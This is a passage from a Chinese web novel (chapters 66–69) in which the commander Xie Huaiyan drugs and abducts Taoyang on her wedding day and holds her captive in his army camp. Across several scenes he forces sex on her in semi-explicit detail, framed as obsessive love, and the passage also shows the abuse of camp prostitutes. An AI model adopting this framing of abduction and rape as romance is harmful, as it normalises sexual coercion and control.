谢怀砚淡淡看他一眼,拉起手中弓弩朝着萧子亭的那匹棕马马蹄射去,利箭出,身后将士高声呐喊,声气十足,提刀剑一拥而上,丝毫不似疲劳赶路已久的气势。 这场厮杀直至天幕暗下才结束,萧子亭带兵退回宁安郡,刚回了军营中,就有暗卫神色匆匆自建邺城马不停蹄上前来报:“将军,出事了!” “夫人不见了,您的府宅,府宅也走了水,烧成了一片废墟——” 萧子亭闻言立时问:“夫人是不见了,还是——”他话未问完,就想到了谢怀砚书信中所说送给他的大礼,他神色冷怒,咬牙道:“谢怀砚!” 他所做这一切不过是为了让他离开建邺城,好让他的人将桃漾带走,萧子亭对手下人吩咐:“守好各个州府的出入关卡,陆路、水路,一个都不许放过!” 此时,宁安郡的天幕上空依旧落着薄薄的细雪,陈益已带着将士们退回营帐,谢怀砚一身玄甲,身披鹤氅,长身玉立站在满地血泊中,眸光深邃望着宁安郡官道所在的方向。 天幕暗下时,一辆绸缎马车出现在战火硝烟残留的狼藉中,崔寅下马上前来到谢怀砚身边复命:“公子。” 谢怀砚手中利剑还在滴着血,薄雪簌簌而落,落在他发间、眉眼,他掀起眼皮神色淡淡朝着不远处的马车望过去。 四周很静,静到能听到雪花飘落的声响。 不多时,桃漾被喂给她茶水的婆子拖拽出马车,一身大红喜服凤冠霞帔站在满地雪白中,她低垂着眼眸,始终不愿抬起,风雪卷来,吹动着她身上的大红喜服摇曳。 刺目的红。 她被身侧的婆子带着往前走,很快,在阵阵浮动的血腥气中她闻到了熟悉的檀香,看到了用金银绣线绣着仙鹤的大氅,她明明早就知道带走她的人是他安排的。 自建邺坐船来这里的路上,她已经历了无尽的挣扎与无奈,明明已经知晓她要面对的是什么,可当那人真的站在她面前,她仿佛置身永不见底的黑洞,将她掩埋在彻骨冷寒之中。 桃漾眉心紧凝,神色绝望的闭上了眼。 四周呼啸,风卷寒雪。 宽大手掌托住她的后脑,迫使她抬起头来,冷沉如刀的声音命令她:“睁开眼,看着我!”过了许久,桃漾缓缓睁开眼眸,对上他深邃暗沉的眸子,在漫天飞雪中莹白面颊滚着温热的泪。 谢怀砚手中剑落,敛眸看着她双腕上的绳索,再在她身侧满身是伤的婆子身上扫过一眼,他淡淡笑了声,沾染了血迹的手为她抹去泪液,捧在她施了粉黛的面靥,低声道:“再逃啊——” 桃漾乌眸清亮的看着他,嗓音压抑,自心底深处发问:“为什么就是不能放过我——”明明已经过去了这么久,她已经离得豫州足够的远,她的生活明明已经开始越来越好,为什么要再毁了她一次。 谢怀砚将她按在身前冷硬的玄甲之上,俯身在她耳边,嗓音出奇的平静:“还不明白么?这天下,唯有我身边才是你的容身之所——” 她被他按在怀中,时隔几载,她身上的气息虽有所变,却依旧有着莲子淡淡的清香,闻之噬骨。他日思夜想的味道,折磨了他这般久—— 天幕已暗,冷冷风雪中,他推开桃漾,气度冷沉看她一眼,带着鄙夷与不屑,转身上马,扬长回了营帐。 桃漾站立在风雪中,望着四周空荡,望着宁安郡的城墙,她知道,萧子亭一定在那里,可漫天的风雪,她看不到他,也无法呼唤他。 婆子坡了脚上前:“姑娘,上 马车吧。” 桃漾被带回军中,住在一处偏僻的营帐,她神色黯淡的坐在榻前,任由这婆子上前为她摘去发间的凤冠,再褪去她身上一层又一层的大红喜服。 婆子问她:“赶了这么久的路,姑娘可饿了么?” 没有回应。 婆子再道:“姑娘是想先用膳还是先沐浴?”无论她问什么,都得不到任何的回应,婆子只好让人先上了饭菜,在一侧看着桃漾一口一口的用下。 再要带着桃漾去净室沐浴。 桃漾看她一眼,婆子下意识后退了两步,自建邺来这里的路上她被桃漾折腾怕了,最初,她只以为这样身娇体软的一个姑娘能有什么力气,她晕倒后就只把她放在了船舱内的榻上。 可她竟在大婚之日也随身带着匕首,在她身上一顿乱砍,她又动她不得。 若非船上每隔一步就有部曲把守,她非要在这落着雪的天跳下船去不行,这样不要命折腾的人,让她本能的畏惧。 婆子离远了再道:“这外面冰天雪地的,您赶了这么久的路,在浴桶中泡上一泡也可让身上暖和些。”桃漾依旧没理她,漱了口后就上了榻。 婆子不再说,默默在一侧守着。 一连几日,营帐外时有练兵声、马蹄声、饮酒作乐庆祝声,热闹的像是‘一团火’,桃漾待在营帐内未踏出去过一步,她吃饭、睡觉、发呆—— 只是,从未开口说过一句话。 这日,夜幕临下,营帐内点了烛火,她倚靠在榻上,默默的出着神,有人掀开帘帐,带进一阵冷风,她依旧未挪眼眸,直到那人走至她榻前,冰冷的气息扑面而来。 用手中冷硬的剑柄挑住她的下颌迫使她看向他。 “侍奉我清洗。”他语气散漫,居高临下,将那双骨节分明沾染了血迹的手递在她面前。 桃漾垂眸看上一眼,抬手打开他手中的剑柄,侧过身来不再看他。 床榻前一时静默无声,桃漾这里昨日新来了一个年纪不大的婢女,见状急忙端了盆清水来,谢怀砚凝了桃漾一眼,手中剑被他随手扔在地上,在铜盆里净了手。 他在榻边坐下,问守在屏风后的婆子:“用晚膳了么?”婆子恭敬回:“只用了半碗粥,糕点一口未用。” 谢怀砚:“端来。” 片刻,婆子手中端了一盘气息清甜的莲子糕走近,递在桃漾面前,温声道:“姑娘用些吧。”桃漾依旧不理会,婆子这几日也早已习惯,只垂首恭敬的端着。 谢怀砚看着桃漾,抬手拿起一块递在她面前,声线暗沉,不容置疑:“吃了。”桃漾看都未看一眼,钻进被褥中朝着床榻里侧,只留给他一个背影。 婆子见状,急忙端了糕点走出去。 帐内安静许久,落针可闻,谢怀砚冰凉的指节掰过她纤薄肩背,让她侧过身来,杯盏中的温茶整个泼在桃漾面上,嗓音暗沉,冷斥:“是个死人么?” 桃漾被猝不及防泼了满面的水,神色恼怒的看向他,自枕上一跃而起,俯身取来榻边小几上的茶壶,扔去壶盖,整个茶壶的水都泼在谢怀砚脸上。 谢怀砚宽大手掌攥住她双腕,按在身后,呵笑一声:“不是装死么?跟我发起脾气来倒是有力气!” 桃漾乌眸明亮,直直的瞪着他,双腕在他手中挣扎:“你别碰我!” 谢怀砚鄙夷的笑:“碰你?你以为我还会想要你么!”他神色晦暗,冷笑一声:“你这般蛇蝎心肠的女人我杀一千次一万次都不解恨!” 他站起身,垂眸凝着桃漾:“没良心的东西!”说完,他大步走了出去。 这场倒春寒的雪昨日便已停下,谢怀砚再回到他的营帐内,在书案前坐了许久,抬眸看向空渊,低沉道:“拿来——”空渊神色拧紧,却也不敢多言,把五石散给他家公子递上。 空渊出了营帐,空谷在他身侧叹气,低声道:“五姑娘都已在这了,公子怎还用?” 空渊朝着桃漾所在的营帐看过去:“我哪知道!” 几日后的夜里,桃漾让婢女点了安神香,早早的就睡下。 不见天光的黑暗中,她躺在榻上,身上很痛很痛,满是血腥的味道,可她却又动弹不得,最后,她清楚的知道,她的血就要流尽了,她就要死了—— 意识到这一点时,她猛的睁开眼,却看到了坐在她床榻边正神色冷凝看着她的谢怀砚。 第67章 恨那便一直恨我 这几日桃漾依旧是整日里待在营帐,沈婆子和新来的婢女青翠不止一次上前去劝她出去走走,桃漾依旧不理会。 谢怀砚自那夜后没有再来过,在一起待了这些日子,沈婆子上前苦口婆心去劝桃漾:“老奴在建邺相人无数,这女子性情太刚没有落到好下场的,那夜姑娘做的太过,不如软了性子去跟公子道个歉?” 她看着桃漾躺在枕上的曼妙身姿:“只要姑娘肯服软,这男人哪有不怜香惜玉的,姑娘既已来了这里,日后总是要靠着公子,是享不完的荣华富贵。” 沈婆子说了这许多,见桃漾不理她,再说几句也就默默退了出去。 此时,桃漾在枕上猛的睁开眼,看到榻边坐着的人是谢怀砚时,紧凝的眉眼逐渐冷下来。 桃漾一直怕冷,营帐内搁置了数十盆的银丝碳,谢怀砚身上只着了件宽大寝衣,肩上的墨发半干不干,似是刚沐浴过,床榻边只点了一豆羸弱的烛火,他眸光晦暗不明的看着桃漾,声线低沉开口:“梦到谁了?” 桃漾垂眸不理他。 谢怀砚冷笑一声,抬手将她自枕上揽起来,俯身凝着她,神色冷傲中带了几许散漫:“是萧子亭么?”他嘲弄一笑:“你和他就要大婚,该是情深义重才对,可今日两军对战,我让萧子亭拿他身边副将来换你,” 他在桃漾耳边嗓音低沉,带着玩味:“猜猜,他说什么?” 桃漾侧过身去,再被谢怀砚按回来。 他低笑一声,嗓音暗哑:“他说,你不配——” 谢怀砚观着桃漾的神色:“我还没让他拿整个宁安郡来换,不过一个副将,他便不愿——瞧瞧,这就是你要嫁的男人。” 他微凉指腹掰过桃漾的下颌,迫使她抬起头来,声线如缀了重石:“除了我,没有人真心待你!” 桃漾乌眸明亮,直直的看着谢怀砚,她朱唇勾笑,神色清淡问他:“他同意了,你会把我送回去么?谢怀砚,你卑劣傲慢,就算他把副将送来给你,你也不会把我送回去。” “你不过是想让萧子亭这样做,乱了北朝军心。” 谢怀砚凝视着她,是何时呢?他竟在她面前如此不掩饰,让她这般看出他的心思。 桃漾同样凝视着谢怀砚,望进他深邃眸光中:“他在不在意我又有什么关系,我在意他就是了——” “你既然在北朝有那么多的眼线,也该知道,我和他每日都会在糕点铺前见面,我们会一起用膳,一起回小院——”她肆意明媚的笑:“你的眼线有没有告诉你,我们夜间还会同眠,我——” “闭嘴!” 桃漾继续说:“我还为他作了副梅林雪景图,你知道当初在碧月阁我作雪景图时为何与你说那些话么?” “我问你鹿鸣山中的梅明年会不会开,说明年冬日与你一同赏梅煮茶,我是故意的,因为桓恒曾与我说过来年春日我嫁给他,我们就可以一起在他的别苑赏紫薇花开,可我和他没有明年,我当然也要让你尝一尝独自一人守着诺言的滋味!” 她看着谢怀砚冷如刀刃的神色,再呵笑道:“我和你更没有明年。”桃漾说着,眼尾绯红,有清泪已不觉滚落。 神色却依旧倔强的如同利剑。 谢怀砚落在她肩上的指节一点一点攥紧,捏的桃漾凝眉,他薄润的唇勾出一抹意味不明的笑,声线暗哑:“我到底哪里待你不好了?我护你、疼你,你想要的全都拿来送你!我一次又一次的纵容 你,” 他冷笑,神色阴鸷,厉声斥问:“同我在一起这么久,就只有恨么!” 桃漾对上他的冷怒,似是没有情绪的木偶,依旧神色清淡的看着他,轻柔的语气无比坚定:“对,只有恨——谢怀砚,你不懂么?从当初在温泉池我对你就只有恨!” 种下的根不对,开出再绚丽的花也不过是罪孽。 谢怀砚松开捏着她的肩背,将她的身子甩去一侧,帐内静寂,许久,他站起身,神色是桃漾从未见过的晦暗,嗓音低哑却似染了笑:“那便一直恨我、怨我吧,生同衾死同穴,生生世世。” 我在意你、喜欢你,你来恨我、怨我,我们生生世世纠缠不休—— 谁也别想逃脱—— 桃漾眼里的泪还在落:“我只想永远都不再见到你。” 谢怀砚凝着她,呵笑:“好啊,那就等我厌弃了你,一杯鸩酒要了你的命!”他自榻上站起身,拿起衣架上的大氅,大步走出营帐。 夜色暗沉,已过亥时,天上圆月高悬,洒下清冷的光,谢怀砚走出几步后再停下,神色无奈的闭了闭眼。 他点墨眸光望着天上月,身上是无尽的燥热。 在克制什么? 无非是恨她弃他,不愿这般轻易就原谅她。 想让她来服软。 怕再次入了温柔乡,被她蛊惑—— 寒风轻拂,吹动他身上的墨色鹤氅,他在营帐外站立许久,低笑一声,恨她的方式有千万种,他被折磨了这几载,费尽心力找到她,如何还要再折磨自己。 营帐内,桃漾躺在枕上,目光怔愣的望着帐顶,许久,她只觉嗓子干哑,撑着手肘坐起身,在榻边小几上倒了杯温茶用下,刚熄灭烛火还未再躺回枕上。 耳边就传来沉稳的脚步声,桃漾抬眸看过去,那道高大颀长的身影已俯下身来,宽大手掌托住她的后脑,强势的吻上了红润柔软的唇。 桃漾抬手去推他:“谢怀——呜——” 谢怀砚掐住她的腰肢把她带到怀中,肌肤如雪,身香体软,他含住她的唇,勾住香。舌,卷入口中,去吃,去缠绵,过去再久时日,依旧熟悉、沉溺、让他不得抽离。 桃漾抬手去推打他,被他修长指节攥住双腕,压在身后,桃漾凝紧眉,软舌相缠间再去往外赶他,被谢怀砚另一只手掐住下颌,只能檀口微张,不得咬合。 他眸光暗沉,似黑夜中的兽,要将她揉碎吞入腹中。 自唇而下,吻过美人骨,以齿撕下她身上寝衣,扔落在地,衔住温香软玉,一阵磋磨,舐遍香腻肌肤。 他埋在桃漾身前,桃漾狠狠咬在他肩上,带着身体不愿承受的知觉,带着压抑太久的情绪,咬的狠了,被谢怀砚拽下,起身将她扔在软榻上。 他随手褪去身上寝衣,再俯身下来时,桃漾不管不顾抬起双脚对着昏暗一片中的人乱踹,谢怀砚站在榻前,也不管她,只神色冷凝的看着,任她踹的累了,宽大手掌直接攥住她的脚腕,将人扯开。 他早已没有了什么耐性,抵。开桃漾的膝弯,双手掐在她腰间,互连成负—— 桃漾攥住他的手腕,随着他丝毫不怜惜的举动,将指甲深深嵌入他的血肉中。 痛,让谢怀砚更为清醒。 清晰的告诉他,这不是梦,也不是五石散,是真真实实存在的人。 营帐内的床榻不比谢氏府宅,床帐摇曳,木板晃动,两道交叠身影映在满是月光的山水屏风之上,过去很久,谢怀砚拖住桃漾将她抱在怀中,看她软绵无力的趴在他肩上,嗓音暗哑:“没力气了?” 他一边更为肆意着他的举动,一边去含桃漾的舌,吮。吸。舔。舐,磨的桃漾眼尾绯红,含着清亮的光,窗外月影西斜,阵阵寒风吹动枯枝干叶,映在帐顶。 帐内炭盆多,桃漾躺在枕上,额间沁出细密汗珠,蜷缩成一团,胸口起伏,帐内昏暗,静谧无声,谢怀砚叫了水,清洗过后眸光幽暗看着桃漾。 她钻在被褥中,阖着眼眸,只露出半张清丽面容,谢怀砚不许她睡,修长指节拖住她的腰肢将她翻过来,按在枕上,嗓音暗哑在她耳边:“再来——” 长夜漫漫,月色静谧,帐内糜。乱一片。 不知到了什么时辰,桃漾疲惫的如同一滩水,提都提不起来,在乱成一团褶皱不堪的被褥中躺下,昏昏沉沉的什么都不知道,沉沉睡过去。 翌日,桃漾醒来时已是午后,她躺在榻上只睁着眸子,没有起身,沈婆子走进来,温声道:“姑娘睡到这个时辰,起身用点吃食吧。” 桃漾依旧不理她。 沈婆子就把饭菜都给端了进来,盛了一碗山鸡枸杞汤递在桃漾面前:“一直给姑娘温着呢,快起——” 桃漾打断她:“出去——” 沈婆子被她厉声的话吓的惊了一惊,随后再把鸡汤凑近桃漾:“姑娘闻闻这味道,可香着呢——”桃漾在她手中接过,抬手泼在了地上。 沈婆子神色沉重‘哎呀’一声,看着泼在地上的鸡汤心疼的直抽抽:“姑娘,您这是做什么,如今行军在外,可不能这般糟蹋吃食啊!” 桃漾这些日子浑浑噩噩,营帐都未出过,听到沈婆子的话一时有些微怔,她抬眸朝着营帐外看过去,问沈婆子:“今儿是几日了?” 沈婆子神色可惜的再为她盛了一碗,口中回着:“已是三月半了。”说完,她再递过来:“我知道姑娘恨我那日给你喂了迷药,将你带走。” “可老奴也是奉命行事,姑娘昨夜受了那么大的累,总要吃些东西,顾及自己的身子才是。” 桃漾怔了会儿神后,再躺进被褥里,阖上了眼眸。 沈婆子见她依旧不理,只好把山鸡汤端出去再给温着。 第二日夜里,桃漾已经睡下,谢怀砚再来了她这里。 早已是食髓知味,他褪去衣衫上榻,侧首瞧了桃漾一会儿,见她已是醒了,只是不愿理会他,他眉心微抬,宽大手掌探进她寝衣内。 不消片刻,桃漾就睁开眼来看他,去挪开他在她身上胡作非为的手,刚一碰到他的手腕时,就被他反手将她的手握在掌心,带动着她的手一起,在她身上为所欲为。 “谢怀砚!” 桃漾动弹不得,谢怀砚俯身在她耳垂轻吻,似有若无的舔。舐,嗓音低哑:“这么快就有如泉涌,看来,萧子亭是个没用的东西。” 桃漾挣开被他握着的手,给了他一耳光。 谢怀砚翻身将她按在枕上,神色不悦:“跟我这么犟,你又能得了什么好!” 一连几日,帐内夜夜糜。乱不堪,床榻吱呀,吟。声不止。 这日,谢怀砚命人把桃漾住的营帐拆去,将桃漾带到了他的营帐中。 之前桃漾可以日日夜夜的待在帐内不出去,如今待在谢怀砚这里,白日里他有时处理公务,有时与军中将士一同商议作战之事,他的营帐敞阔奢华,她虽在里间,却也不堪其扰。 这日一早,她就披上狐裘出了营帐,已是三月末,早些日子落下的雪也都已融化,天气逐渐暖下来,营帐附近有矮山、林木,时不时传来几声鸟啼。 走上一会儿,桃漾把身上狐裘扯下递给身后跟着的沈婆子:“我随便走走,别跟着我。”她的语气说的冷,沈婆子一时为难,思忖后,只远远的跟着。 桃漾走去一片敞阔的空地,地面上的野花 野草都已长出,她垂眸有些怔神的看着,不多时,身后传来轻盈的脚步声,桃漾回过神来看过去。 一身着粉紫色衣裙的姑娘朝她这边走过来,神色好奇的看着她,问桃漾:“我怎么没见过你,你是新来的么?” 桃漾不知她是何意,也没有想到军营里竟还有别的女子。 这姑娘神色温和,带着浅浅笑意,看桃漾不语,再道:“你是新来的军妓么?” 在这种地方出现的女子,除了军妓还能是什么呢?桃漾闻言心间一紧,明白过来,对她莞尔道:“算是罢。” 这女子名阿竹,性情很是温和,和桃漾在一块草地上坐着晒太阳,见桃漾似乎不开心,与桃漾笑道:“没关系的,在这里至少可以吃饱饭。” 她与桃漾说起她的事:“我去岁被山匪掳走,之后回到家中,家人不愿再留我,就把我送到了军中换银子。” “你呢?”她问桃漾。 桃漾没有回她,和她在这里坐了一会儿后再回了营帐。 之后几日,她每次再来这里,阿竹都在,这日她再来的时候,阿竹的面色很难看,脸上也再无往日的温和笑意,颈间还有一道深深的红痕,她见到桃漾来,低声与她道:“阿谷死了——” 阿谷也是军妓,昨日夜里,被军中的一个剽悍副将凌虐而死,阿竹因和阿谷交好,上前去骂了他,被他掐在颈间险些也死去。 她把她身上的荷包递给桃漾,嗓音低低的,看向桃漾时还带着平日里的温煦笑容:“这是我这段日子攒下的碎银子,都给你吧,”她顿了顿:“那人说,今夜让我陪他,我,或许也会没命——” 军妓所在的营帐在军营的最西面,天幕暗下时,这里就开始热闹起来,那位剽悍副将名陈方,是常胜将军陈益的堂弟,他来到这里时,营帐里瞬时静寂下来。 他大声道:“那个贱人呢!” 管事上前来,回身与人道:“去叫阿竹来。”她话刚落,桃漾从帘帐后走出来,她身上着了件明黄缀绿枝的薄纱裙,略施粉黛,站在陈方面前,神色清淡道:“阿竹病了,不如今夜我来陪将军。” 陈方没有见过桃漾,只以为是军营里新来的妓子,盯着桃漾上下看了眼,心中自是很乐意,他哈笑一声,对桃漾道:“过来让爷瞧瞧。” 桃漾抬步朝他走过去,这时有人在陈方身后低声道:“将军,听闻公子帐内有一女子,这——”陈方闻言心间一震,却是心存侥幸,公子的女人怎会出现在这里? 他看着桃漾心间燥热,刚抬手攥住桃漾的手腕,身后营帐就被人推开—— 第68章 第68章你乖一些 谢怀砚一袭墨衣身披大氅站在营帐门前,他身后站着的是常胜将军陈益。 营帐的门一被打开,帐内瞬时静下来,陈方本是握了美人柔荑,心中正欢喜,恨不得立即往卧榻去,见状他神色悠闲侧过身,在看到谢怀砚的神色时。 本能的松开了桃漾的手。 陈益虽也未见过桃漾,可适才他在帐中正和谢怀砚谈事,手下人前来禀告的话他却是听的清楚,先谢怀砚一步上前,对着陈方就是一通大骂:“混账东西,不好好在帐中待着,跑来这里做什么?” “是瞎了眼了还是不知,谁都是你可以觊觎的!” 陈方挨了这句话骂,瞬时清醒过来,垂首连连道:“我,我刚进来,不知道她是谁——” 所谓不知者无罪,况且陈方不过刚进了营帐,还未发生什么,陈益骂了他一通,转身欲再看向谢怀砚,为陈方开脱几句,却见身前打扮明媚的女子突然走上前,与陈方道:“将军不是说,公子的女人才更有意思么?这么快就成了不认识我了?” 她语气认真,还带着几许嗔怒。 陈方闻言一脸茫然的抬眸:“……” “你胡——” ‘啪’的两声桃漾抬手给了他两耳光,让他闭了嘴。 她往营帐门前走去几步,侧首低声再道:“亏我今夜还特意来找你!” 陈方被打了两耳光刚刚回过神,再听到这句话,一双眸子既惊又俱的嘘着谢怀砚,心中只暗道:姑奶奶,给留条活路啊! 谢怀砚垂眸淡淡看桃漾一眼,解下身上的大氅给她披在身上,拦腰将她抱在怀中径直出了营帐,陈益见状急忙跟出来,想要上前说上几句话,却见谢怀砚已抱着怀中人大步往营帐回。 陈益眉心微凝,往桃漾身上看了眼。 天色已暗,营帐内点满了烛火,谢怀砚抱着桃漾走进营帐后,踏进里间,将她扔在榻上,垂眸看了眼她身上的薄纱裙,语气晦暗不明道:“把衣服换了。” 他说完,再出了营帐。 桃漾身上的衣服是阿竹找给她的,上面的脂粉气很重,也不知熏香里有没有蚌粉,她下了榻让青翠端了清水来,先洗了洗被陈方握过的手腕,再去把身上的衣服给换了。 谢怀砚再回到营帐时,桃漾身上着了寝衣,正倚在迎枕上手中随意翻看着一本有些破旧的书卷,谢怀砚褪下身上外衣在榻边落座,气息冷沉,垂眸看了眼她的手腕,嗓音中带着嘲鄙:“生怜悯心前,考虑自己了么?” 他语气不悦,凝着桃漾。 桃漾自书中抬眸来看他,朱唇轻笑,神色间满是散漫:“什么怜悯?我同她们一样,尚不能自救,你以为我是生了怜悯心在帮她们么?” 她神色清淡:“我说的都是真话,我就是特意去找他的,”她抬手将手中书卷随意铺在谢怀砚面前,抬眉道:‘呐,这是本妓子间传诵的书,上面写的都是和将军呢,我也起了好奇心——’ 她话刚落,就被谢怀砚抬手掐住了下颌,他神色阴沉,咬牙切齿:“谢桃漾!你就非要这么自轻自贱么?” 他冷呵一声,夺过她手中的书卷扔在榻边的炭盆中,火焰一轰而起时,谢怀砚淡漠道:“你以为我不能拿你怎么样么?”他侧首对着外间唤了沈婆子进来,厉声命令:“把她送去妓营,不必管她!” 沈婆子闻言大骇,垂眸不敢言语。 谢怀砚冷冷凝她一眼:“耳朵既然聋了,拉出去砍了!”沈婆子惊的急忙跪下,不等她再为难该如何做,桃漾自己已从榻上下来,穿上鞋袜抱着她的狐裘就往营帐外走。 谢怀砚看着她单薄的身影出了营帐,神色沉重闭了闭眼,对身侧一直跪着沈婆子低沉道:“要你何用!还不去跟着!” 沈婆子急忙从地上爬起来踉跄跟出了营帐。 刚过戌时,方圆几里的营帐外都还热闹着,士兵们轮流用饭,三五成群聚在一处,高声言谈,处处都是人影,才不过片刻,沈婆子走出营帐后,已是遍寻不到桃漾的身影。 她早些日子被桃漾在船上刺伤的腿脚刚好,急忙跑起来去找人。 今夜是下弦月,月光澄亮,桃漾在常来的那片长满野花野草的平坡上坐下,身后靠着一棵不算粗壮的梧桐树,如今已是三月末,梧桐树长出了叶芽,还未开花。 她倚在树上,抬眸望着天上明月怔神。 身后营帐外的声音逐渐消散,好些营帐的烛火也都熄灭,沈婆子早已找了过来,就站在离得桃漾不远处,抬步走近,低声道:“姑娘,夜深了,回罢?” “回去跟公子认了错,公子不会跟你计较的。” 往日里沈婆子说这些话桃漾从未理过她,今日,她微微侧首过来,乌眸在夜色中依旧清亮,问沈婆子:“为何总是劝我和他认错?” 沈婆子:“……公子不会有错。” 桃漾微微敛眸,呵笑一声,再低声道:“我也没有错,为何要认错?不如他的意就叫错么?” 沈婆子开口回她:“公子是一军主帅,位高权重,姑娘哪能处处和他对着干,这叫以下犯下!”桃漾回过身,垂眸在手中摆弄着颗狗尾巴草,不再言语了。 夜色越发深重,沈婆子正欲上前再去劝时,身后传来沉稳脚步声,她回身看到来人时急忙行礼,谢怀砚边往梧桐树下走边冷冷道:“下去。” 沈婆子急忙退远。 谢怀砚走至土坡前,俯身捞起桃漾的腰肢就把她整个人给提起来,他神色晦暗,什么也不言语,把桃漾按在身后的梧桐树上俯身朝她吻过去。 他浅尝一番,气息紊乱,离了桃漾的唇嗓音低哑道:“我还当你多有骨气,不是要去妓营么,在这里待着做什么?” 桃漾神色淡淡看着他:“去不去妓营又如何, 现在还不是在做妓子做的事。” 她凝着谢怀砚低笑一声,在他身侧沉声再道:“你的营帐就是我的妓营——” 谢怀砚拖在她颈后的指节恨不得一把掐死她,他强势的扯去桃漾身上的寝衣,眸光暗沉凝着她,呵笑:“既如此,就做好一个妓该做的事,不是看了那种书么?该知道怎么来侍奉男人!” 他拖住桃漾圆润的臀,靠在树干上,迫使她脚腕环在他腰上。 “谢怀砚!”桃漾指节掐在他肩上,痛的凝眉。 他背着月光而立,轮廓分明的面庞半明半昧,低笑一声:“喊什么!哪个男人对待妓还有怜惜的!” 夜色朦胧中刚长出嫩芽的枝干随风而动,发出簌簌声响,山林清幽,时有鸟啼。 落在谢怀砚耳中时,他心思卑微,让一声又一声的吟声与鸟啼相和。 树干晃。动太甚,桃漾身前也随之而颤,谢怀砚俯身,磨的她身。软如。水,整个人软塌塌的趴在他肩上。 身上氅衣一铺在地,夜色昏暗中,两道身影再交。叠——直至月影西斜。 桃漾被谢怀砚裹着大氅抱回营帐净室,沐浴一番后她躺在枕上就侧身去睡,谢怀砚熄了烛火将她揽在怀中,睡颜恬静,眉目清丽,一场欢。好相融,温香软玉入怀,他心里的气焰总归消散些。 他看着桃漾,俯身埋在她如墨发间,嗅着她身上的清甜气息,嗓音低哑而温润:“桃漾,别再跟我犟了,成么?你乖一些,我还像从前一样待你——” 他的话落下,床帐内静谧,沉默无声。 翌日,桃漾身上疲倦,一直待在营帐内没出门,晚间的时候,青翠与她说有女子一直在这处营帐附近走动,神色忧虑,桃漾闻言朝着帐外看了眼,当时谢怀砚在,她就没有出去。 这日一早,桃漾出了营帐,寻了另一处敞阔的空地,在草地上躺着晒日光,不多时,阿竹满脸笑意的朝她跑过来,在她身侧坐下:“你怎么来这里了?我在咱们之前常去的那棵梧桐树下等你,一直等不到。” 桃漾闻言坐起身,侧首看向阿竹,莞尔道:“日后都不去那里了。”阿竹轻轻‘哦’了声,没问她是为何,只欢喜道:“昨夜陈方没来,之前他都是夜夜来寻欢的,自那日后,来营妓的人比之前都收敛多了!” 桃漾对她颔首:“昨日你在营帐外待了那么久,是还在担心这事么?”阿竹对她摇头:“不是,我是担心你,那夜,主帅神色骇人,我怕你出事。” 阿竹没想到,桃漾竟是主帅帐中的人。 不等桃漾回她,她便又笑笑道:“不过现在我不担心了,昨日我在帐外徘徊时,主帅身边的人让我走,他见我神色担忧,就与我说主帅不会怪你的。” 阿竹迟疑了下,见桃漾神色清淡,没有言语,再轻声道:“他还跟我说,主帅违抗族规要娶你为妻,可你却下毒害他,还在他受家法那日,逃走了——” 阿竹的声音很低,观着桃漾的神色试探的说着,见桃漾闻言神色不变,似是在听陌生人的事,她问:“桃漾,这是真的么?” 桃漾垂眸,淡淡回她:“或许是吧。” 阿竹没有说完,空渊送她回妓营的路上还说了许多,说主帅找了她整整两载有余,她却在北朝嫁给了别的男人—— 阿竹抿了抿唇:“主帅待你这般好,那夜你为何不直接去找他,让他处置了陈方,他定会答应,你却要自己去做那样的事,万一主帅来的晚了呢。” 当时阿竹是非常怕的。 阿竹的话说完后,许久无声,春风拂动,和着暖阳,桃漾轻轻抬眸,以手遮挡日光,看着远处群山:“求人总会受制于人,倒不如利用他来得快。” 阿竹闻言似懂非懂,只说了句:“那也是主帅愿意被你利用。” 桃漾和阿竹在这里待到了午时,之后她再未见过阿竹,听闻她得了空渊的好处,拿了银子离开了妓营。 桃漾回到营帐用过午膳就上榻去睡了会儿,待她醒过来,帐内多了几只大小不一的箱笼,她隐隐闻到了些熟悉的味道,沈婆子见她醒过来,上前笑声道:“这些都是姑娘的物件,刚被人送过来。” 桃漾下榻打开箱笼瞧了几眼,都是她这几年在北朝用过的东西,有上元节时陈月漪给她做的花灯,也有阿婆知她怕冷给她缝制的腰贴,还有陆夫人和外祖母送她的衣服首饰。 桃漾俯身拿起一只她自己做的药囊,低声问沈婆子:“她们都还好么?”沈婆子抬了抬眉,依旧是笑声回:“老奴怎会知道呢,她们好不好,姑娘得去问公子。” 沈婆子是个聪明人,也知桃漾心思玲珑,口中的话点到为止。 默上片刻,桃漾再低声道:“也是,她们好不好,是死是活,和我又有什么关系。”她语气淡漠,丝毫不带情绪,说的沈婆子脸上的笑瞬时凝住。 桃漾再上了榻躺下,直到天幕暗下时,她起身用了碗粥,再要上榻时,身后营帐被人推开,一阵凉风拂来的同时还带着阵阵的血腥气。 桃漾回过身来,见谢怀砚神色平和的走进,身上的玄甲却沾满血迹,身侧骨节分明的手上也还在滴着血,他身量高大,上前一步站在桃漾面前,声线低哑开口:“帮我卸甲。” 桃漾对上他点墨般的眸子,低声道:“不会。” “不会可以学。”谢怀砚抬起她的手按在他胸膛前的玄甲冷片之上,嗓音不容置疑。 他带动着桃漾的手解去他身上的大氅,再去卸身上的玄甲,桃漾的手被他身上的血迹沾染,她微微凝眉,将手从谢怀砚手中抽出,低声道:“不用你教。” 身上玄甲卸去,净室内沈婆子也已准备好了热水沐浴,谢怀砚再握住桃漾的手往净室去:“侍奉我沐浴。” 他褪下身上中衣,踏进水汽缭绕的浴桶,见桃漾站在浴桶前,就只站在那里,他抬起手臂上一道血淋淋的剑伤给桃漾瞧:“伤口入水,易生溃烂,”他眉心微抬,神色间染了几许散漫:“桃漾,我总归有待你好的地方,你就不能心疼我一下么?” 他最是卑劣磋磨人心,一边示弱一边让人送来那些箱笼。 桃漾看他一眼,抬手取来木架上的绢巾,在身后帮他把沾染了血迹的墨发清洗,待清洗干净后,劲瘦线条分明的肩背袒露而出,自宽阔的肩到腰腹,道道鞭笞长痕交错。 桃漾看上一眼就起身,扔下手中绢巾要往外走,被谢怀砚抬起手臂将她一揽,整个提到浴桶按在他怀中。 第69章 软硬不吃若敢忘了我,让你痛不欲生…… 浴桶中水花四起,溅了桃漾一脸,谢怀砚温热指腹抬起给她抹去,俯身去吃桃漾的唇,吻了有一会儿,他垂眸观着桃漾的眉眼,嗓音低沉问:“跑什么?” 桃漾侧过身去,神色清淡,不回他。 谢怀砚侧眸往肩后扫过一眼,心中依旧生出冷怒,再看向桃漾时压制了情绪,淡声道:“是肩背的伤太过可怖,吓着你了么?” 